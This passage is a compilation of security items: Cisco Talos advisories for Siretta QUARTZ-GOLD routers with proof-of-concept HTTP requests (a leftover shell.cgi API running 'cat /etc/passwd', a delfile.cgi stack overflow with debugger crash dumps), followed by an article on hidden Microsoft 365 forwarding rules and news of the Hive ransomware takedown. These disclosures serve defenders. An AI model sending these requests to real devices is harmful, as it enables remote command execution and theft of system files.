    [#0] 0xf96c → pop {r4,  r5,  r6,  pc}
    [#1] 0x2ae3bb30 → free()
    

So the next instruction will populate the pc with the fourth dword contained in the stack, so:

    gef➤  hexdump dw $sp
    0x7ef39060│+0x0000   0x61666b61   
    0x7ef39064│+0x0004   0x61676b61   
    0x7ef39068│+0x0008   0x61686b61   
    0x7ef3906c│+0x000c   0x61696b61   
    [...]
    

After the pop the pc will contain the 0x61696b61 value.

**TIMELINE**

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2022-38459: TALOS-2022-1608 || Cisco Talos Intelligence Group

A leftover debug code vulnerability exists in the httpd shell.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

A leftover debug code vulnerability exists in the httpd shell.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

**PRODUCT URLS**

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

**CVSSv3 SCORE**

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-489 - Leftover Debug Code

**DETAILS**

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.

Based on the web page shown, functionalities and the documentation publicly available, the QUARTZ-GOLD does not provide any way to directly access the linux system that runs on the router. The router’s web server is based on AdvancedTomato, which offers several debug APIs active by default. The developer, allegedly, forgot to disable those debug APIs. For instance, the AdvancedTomato’s shell.cgi API is still active, allowing arbitrary command execution:

    static void wo_shell(char *url)
    {
        web_puts("\ncmdresult = '");
        _execute_command(NULL, webcgi_get("command"), NULL, WOF_JAVASCRIPT);
        web_puts("';");
    }
    

wo_shell is the function that is called when the shell.cgi API is requested. This function will call the _execute_command with the request’s command parameter. This function will effectively execute the provided shell command. The leftover debug code allows arbitrary command execution.

**Exploit Proof of Concept**

Sending a request like the following:

    POST /shell.cgi HTTP/1.1
    Authorization: Basic <a valid basic auth>
    Content-Length: 52
    
    command=cat /etc/passwd&_http_id=<the correct tid>
    

Will generate the following response:

    HTTP/1.0 200 OK
    Date: Sat, 01 Jan 2000 22:01:30 GMT
    Content-Type: text/javascript
    Cache-Control: no-cache, no-store, must-revalidate, private
    Expires: Thu, 31 Dec 1970 00:00:00 GMT
    Pragma: no-cache
    Connection: close
    
    
    cmdresult = 'root:x:0:0:root:/root:/bin/sh\x0aadmin:x:0:0:admin:/root:/bin/sh\x0anobody:x:65534:65534:nobody:/dev/null:/dev/null\x0a';
    

The request will make the router execute the command cat /etc/passwd and respond to the HTTP request with the output of the command back.

**TIMELINE**

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2022-38715: TALOS-2022-1610 || Cisco Talos Intelligence Group

A stack-based buffer overflow vulnerability exists in the httpd delfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

A stack-based buffer overflow vulnerability exists in the httpd delfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

**PRODUCT URLS**

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

**CVSSv3 SCORE**

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

**DETAILS**

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.

The QUARTZ-GOLD router has an web server with several functionalities, a subset of which are related to the management of external files. Indeed, the web-server offers API for uploading files, downloading them, and also deleting if no longer required.

Following the API to delete a previously uploaded file:

    void delfile.cgi(void)
    
    {
      [...]
    
      [... calculate the value of the base_folder variable ...]
      _filename_param = (char *)webcgi_safeget("_filename");                                                        [1]
      filename_ = "";
      if (_filename_param != (char *)0x0) {
        filename_ = _filename_param;
      }
      if (*filename_ != '\0') {
        sprintf(command_buff,"rm -rf %s/%s",base_folder,filename_);                                                 [2]
        system(command_buff);
      }
      [...]
    }
    

The delfile.cgi expects one parameter called _filename that represents the filename of the desired file to be deleted. At [1] the uploaded parameter is taken and used at [2]. The function used at [2] is a sprintf, which does not take into consideration the size of the buffer. If the file name, provided through the _filename parameter, is longer than a certain length, the instruction at [2] would cause a stack-based buffer overflow that could lead to remote code execution.

**Crash Information**

    $r0  : 0x1       
    $r1  : 0x1       
    $r2  : 0x0       
    $r3  : 0x0       
    $r4  : 0x61616266 ("fbaa"?)
    $r5  : 0x61616366 ("fcaa"?)
    $r6  : 0x243     
    $r7  : 0x1       
    $r8  : 0x0       
    $r9  : 0x0001e66e  →  "delfile.cgi"
    $r10 : 0x0001dbdc  →  0x0001e66e  →  "delfile.cgi"
    $r11 : 0x7ea5b784  →  "admin"
    $r12 : 0x2ae4773c  →  0x2ae33ac4  →  <_pthread_cleanup_pop_restore+0> push {r3,  lr}
    $sp  : 0x7ea59070  →  "feaaffaafgaafhaafiaafjaaf"
    $lr  : 0x2ae2db30  →  <free+492> pop {r0,  r1,  r2,  r3,  r4,  r5,  r6,  pc}
    $pc  : 0x61616464 ("ddaa"?)
    $cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
    ──── stack ────
    0x7ea59070│+0x0000: "feaaffaafgaafhaafiaafjaaf"  ← $sp
    0x7ea59074│+0x0004: "ffaafgaafhaafiaafjaaf"
    0x7ea59078│+0x0008: "fgaafhaafiaafjaaf"
    0x7ea5907c│+0x000c: "fhaafiaafjaaf"
    0x7ea59080│+0x0010: "fiaafjaaf"
    0x7ea59084│+0x0014: "fjaaf"
    0x7ea59088│+0x0018: 0x312f0066 ("f"?)
    0x7ea5908c│+0x001c: ".1\r\n"
    ──── code:arm:ARM ────
    [!] Cannot disassemble from $PC
    [!] Cannot access memory at address 0x61616464
    ──── threads ────
    [#0] Id 1, Name: "httpd", stopped 0x61616464 in ?? (), reason: SIGSEGV
    

**Exploit Proof of Concept**

Sending a request like the following:

    POST /delfile.cgi HTTP/1.1
    Host: 192.168.0.1
    Authorization: Basic <a valid basic auth value>
    Connection: close
    Content-Length: 579
    
    _filename=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaaf&_http_id=<the correct tid>
    

The status at the return address of the delfile.cgi function would be:

    $r0  : 0x1       
    $r1  : 0x1       
    $r2  : 0x0       
    $r3  : 0x0       
    $r4  : 0x00019369  →  0x6e6f4300
    $r5  : 0x0002272b  →  "/jffs"
    $r6  : 0x243     
    $r7  : 0x1       
    $r8  : 0x0       
    $r9  : 0x0001e66e  →  "delfile.cgi"
    $r10 : 0x0001dbdc  →  0x0001e66e  →  "delfile.cgi"
    $r11 : 0x7ea5b784  →  "admin"
    $r12 : 0x2ae4773c  →  0x2ae33ac4  →  <_pthread_cleanup_pop_restore+0> push {r3,  lr}
    $sp  : 0x7ea59064  →  "fbaafcaafdaafeaaffaafgaafhaafiaafjaaf"
    $lr  : 0x2ae2db30  →  <free+492> pop {r0,  r1,  r2,  r3,  r4,  r5,  r6,  pc}
    $pc  : 0x0000fa48  →   pop {r4,  r5,  pc}
    $cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
    ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
    0x7ea59064│+0x0000: "fbaafcaafdaafeaaffaafgaafhaafiaafjaaf"      ← $sp
    0x7ea59068│+0x0004: "fcaafdaafeaaffaafgaafhaafiaafjaaf"
    0x7ea5906c│+0x0008: "fdaafeaaffaafgaafhaafiaafjaaf"
    0x7ea59070│+0x000c: "feaaffaafgaafhaafiaafjaaf"
    0x7ea59074│+0x0010: "ffaafgaafhaafiaafjaaf"
    0x7ea59078│+0x0014: "fgaafhaafiaafjaaf"
    0x7ea5907c│+0x0018: "fhaafiaafjaaf"
    0x7ea59080│+0x001c: "fiaafjaaf"
    ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
           0xfa3c                  mov    r0,  r4
           0xfa40                  bl     0xbae4
           0xfa44                  add    sp,  sp,  #516    ; 0x204
     →     0xfa48                  pop    {r4,  r5,  pc}
    [!] Cannot disassemble from $PC
    ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
    [#0] Id 1, Name: "httpd", stopped 0xfa48 in ?? (), reason: BREAKPOINT
    ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
    [#0] 0xfa48 → pop {r4,  r5,  pc}
    [#1] 0x2ae2db30 → free()
    

So the next instruction will populate the pc with the third dword contained in the stack, so:

    gef➤  hexdump dword $sp
    0x7ea59064│+0x0000   0x61616266   
    0x7ea59068│+0x0004   0x61616366   
    0x7ea5906c│+0x0008   0x61616466   
    

After the pop the pc will contain the 0x61616466 value.

**TIMELINE**

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2022-36279: TALOS-2022-1605 || Cisco Talos Intelligence Group

Improper input validation in driver adgnetworkwfpdrv.sys in Adguard For Windows x86 up to version 7.11 allows attacker to gain local privileges escalation.

CVE-2022-45770: Versions history | AdGuard

A vulnerability within Microsoft's OAuth application registration allows an attacker to create hidden forwarding rules that act as a malicious SaaS rootkit.

Microsoft is a primary target for threat actors, who scour Microsoft applications for weaknesses. Our security research team at Adaptive Shield recently discovered a new attack vector caused by a vulnerability within Microsoft's OAuth application registration that allows attackers to leverage Exchange's legacy API to create hidden forwarding rules in Microsoft 365 mailboxes.

To understand this new attack vector, you must understand the key components therein. These include hidden forwarding rules and SaaS-to-SaaS app access, all of which amount to a malicious SaaS rootkit that can infiltrate users' accounts and control their mailboxes — without the users' knowledge.

Learn more about the top use cases to secure your entire SaaS stack.

**Hidden Forwarding Rules**

Inbox rules are actions that occur based on preset conditions within a Microsoft mailbox. Users or admins can use forwarding rules to trigger protocols based on different attributes of the user's inbox.

Hidden forwarding rules (Figure 1) were first discovered by Compass Security's Damian Pflammater in 2018. He covered the discovery and Microsoft’s response in a blog post titled "Hidden Inbox Rules in Microsoft Exchange." These rules are fully functional and can be seen on the back end. However, they are not visible common interfaces such as email clients, an admin dashboard, or an API (Figure 2).

    

Figure 1. Hidden forwarding rules are visible on the back end.

    

Figure 2. Forwarding rules don’t appear in searches through common interfaces.

**SaaS-to-SaaS Access Through OAuth 2.0**

SaaS-to-SaaS app access, also referred to as third-party app access, describes the conditions under which one app can connect to another app and, in doing so, gain access and permission to different information and settings. The OAuth 2.0 mechanism simplifies the process of authentication and authorization between consumers and service providers through a seamless process that allows users to quickly verify their identities and grant permissions to the app. The app is then allowed to execute code and perform logic within its environment behind the scenes.

In many instances, these apps are completely harmless and often serve as a valuable business tool. In other instances, these apps can act as malware, similar to an executable file.

    

Figure 3. Connecting third-party apps.

**The Next Evolution: An Attack Method Through SaaS**

With this SaaS rootkit, threat actors can create malware that lives as a SaaS app and can infiltrate and maintain access to a user's account while going unnoticed.

While bad actors can't find Exchange Legacy scopes that can used to add programmatically online hidden forwarding in the Microsoft UI, they can add them through a terminal script.

The attacker's job is simple: Create an app that looks credible, add the legacy scope protocols removed from the UI to the app (exploiting the vulnerability that the Adaptive Shield team uncovered), and send an offer to users to connect to it. The user will see an OAuth app dialogue box on the official Microsoft site, and many will likely accept it (Figure 4).

    

Figure 4. This screen shows a fake app permissions request.

Once a user accepts, the bad actor receives a token that grants permission to create forwarding rules and hides them from the user interface like a rootkit.

An attack through these hidden forwarding rules should not be mistaken for a one-off attack but, rather, the start of a new attack method through SaaS apps.

**Microsoft Response**

In 2022, Adaptive Shield contacted Microsoft about the issue, Microsoft in response said that the issue has been flagged for future review by the product team as an opportunity to improve the security of the affected product.

**How to Best Mitigate a SaaS Rootkit Attack**

There's no bulletproof way to eliminate SaaS rootkit attacks but there are a few best practices that can help keep organizations more protected.

*   **Monitor third-party app access** and their permissions to ensure that apps are legitimate and given only the access they require.
*   **Track activities** and be on the lookout for new inbox rules to identify any new connections from untrusted domains.
*   **Disable third-party app registrations** where possible to reduce risk.

**Conclusion**

Hidden forwarding rules are still a threat, even more so when they appear through the trusted Microsoft website. The traditional controls that were created to stop malware have struggled to keep up with the evolution of malware and the new attack vector that can exploit any SaaS app, from M365 to Salesforce to G-Workspace, etc. Organizations should utilize native security configurations to control the OAuth application installations across SaaS apps to protect users from malicious attacks like these.

Get Forrester's SSPM Report, "Embrace aParadigm Shift In SaaS Protection: SaaS Security Posture Management."

**About the Author**

    

A former cybersecurity intelligence officer in the IDF, Maor Bin has over 16 years in cybersecurity leadership. In his career, he led SaaS Threat Detection Research at Proofpoint and won the operational excellence award during his IDI service. Maor got his B.Sc. in computer science and is CEO and co-founder of Adaptive Shield.

SaaS RootKit Exploits Hidden Rules in Microsoft 365

The US Department of Justice hacked into Hive's infrastructure, made off with hundreds of decryptors, and seized the gang's operations.

The Feds have disrupted the prolific Hive ransomware gang, saving victims from a collective $130 million in ransom demands. But it remains to be seen how much of a blow the effort will be to the overall ransomware landscape.

The group's operations have been buzzing with activity for months, racking up more than 1,500 victims in 80-plus countries around the world since it appeared in June 2021, according to an announcement from the US Justice Department. The gang has been operating with a ransomware-as-a-service (RaaS) model, engaging in data theft and double extortion, and delivering its venom indiscriminately to school districts, financial firms, critical infrastructure, and others. At least one affiliate has become a bit of a hospital specialist, disrupting patient care in some attacks.

In what officials called "a 21st-Century cyber-stakeout," the FBI has been infiltrating the gang's network infrastructure since last July and, perhaps most notably, has now seized its decryption keys.

"The FBI has provided over 300 decryption keys to Hive victims who were under attack," according to Thursday's announcement. "In addition, the FBI distributed over 1,000 additional decryption keys to previous Hive victims."

**Hive: Gone for Good?**

Aside from swiping the decryptors, the DoJ also worked with German law enforcement to execute a coordinated seizure of the group's command-and-control (C2) infrastructure (including two servers located in Los Angeles) and the group's Dark Web leak site, US Attorney General Merrick Garland said during a press conference.

The actions could have a significant effect on the volume of ransomware attacks, at least in the short term. According to Mandiant, Hive was the most prolific ransomware family that it dealt with in its incident response engagements, accounting for more than 15% of the ransomware intrusions that it responded to.

That said, while the strike will certainly be a blow to the gang, it's unlikely that its affiliates and members will be dormant for long. As with other high-profile takedowns such as those of Conti and REvil, it's likely that they will simply join other teams or regroup to sting another day.

"We've seen multiple actors using Hive ransomware since it emerged, but the most prolific actor over the past year, based on our visibility, was UNC2727," Kimberly Goody, senior manager at Mandiant Intelligence — Google Cloud, said in an email statement. "Hive also hasn't been the only ransomware in their toolkit; in the past we've seen them employ Conti and MountLocker, among others. This shows that some actors already have relationships within the broad ecosystem that could enable them to easily shift to using another brand as part of their operations."

**Ransomware Is Becoming Less Attractive**

Still, the ransomware game is getting tougher for operators, who are facing declining profit margins, lower valuations for cryptocurrency, intense law enforcement scrutiny, more victims having appropriate backups in place, and increasing refusals from targets to pay up. As such, researchers have seen an emerging trend of ransomware actors pursuing other avenues to make money.

Crane Hassold, former FBI cyber psychological operations analyst and head of research at Abnormal Security, said via email that this latest event is likely to add fuel to that phenomenon.

"It's very possible that we'll start to see ransomware actors pivot to other types of cyberattacks, like business email compromise (BEC)," he said. "BEC is the most financially impactful cyberthreat today and, instead of using their initial access malware to gain a foothold on a company's network, they could simply reconfigure the malware to establish access to employee mailboxes, which could lead to more scaled and sophisticated vendor email compromise attacks."

Tag

#intel